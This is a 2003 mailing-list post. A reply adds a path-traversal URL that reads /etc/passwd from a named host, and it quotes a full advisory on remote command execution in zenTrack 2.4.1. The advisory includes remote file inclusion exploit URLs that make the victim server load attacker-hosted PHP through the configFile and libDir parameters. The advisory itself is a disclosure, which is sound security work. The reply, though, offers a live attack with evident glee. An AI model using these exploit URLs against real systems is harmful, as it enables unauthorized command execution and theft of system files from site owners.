Like an add to this advisory if you send this to teh host.... http://www.vulnerablehost.com.ar/zentrack/index.php?configFile=/../../../../../etc/passwd You can reciebe the file! :) www.zencracking.com.ar gr00vy Argentina! On Thu, 2003-06-05 at 22:00, farking@i-ownur.info wrote: > Subject: zenTrack Remote Command Execution Vulnerabilities > Author: farking (farking@i-ownur.info) > Product: zenTrack 2.4.1 (latest) and below > Vendor: http://zendocs.phpzen.net/zentrack / > http://sourceforge.net/projects/zentrack/ > Status: Vendor contacted (27/05/2003) > Location: http://farking.daemon.sh/advisories/zentrack-062003.txt > Greet to: corpsie & EvoIVGSR > > Description > ----------- > > zenTrack is a flexible system for tracking work, requests, information, > and customer care. > The goal of the project is to provide a method for organizing, managing, > and archiving requests, work, and information > in a structured and reliable method. > > Details > ------- > > zenTrack vulnerability exist in header.php that hold zenTrack > configuration settings. Some code > > <? > : > $libDir = "/web/zentrack/includes"; > $rootUrl = "http://www.yourhost.com/zentrack"; > $Debug_Mode = 0; > $Demo_Mode = "off"; > $configFile = "$libDir/configVars.php"; > : > ?> > > > This allow anyone to take advantage of this vulnerability and run remote > command as webserver privilege. For example: > > http://[victim]/zentrack/index.php?configFile=http://[attacker]/cmd.php? > cmd=pwd > > or > > Create translator.class anywhere in your website contain php code that > allow you to run command. For this example I'll > create translator.class in the test directory: > > http://[victim]/zentrack/www/index.php?libDir=http:// > [attacker]/test/&cmd=pwd > > If you dont wan't to see any error just copy translator.class as > zenTrack.class :) > > Other vulnerability is attacker can turn zenTrack demo mode to on or set > zenTrack debug mode that will show extra info. > > > ------------------------------ > farking (farking@i-ownur.info) > http://farking.daemon.sh
This archive was generated by hypermail 2b30 : Mon Jun 09 2003 - 15:15:14 PDT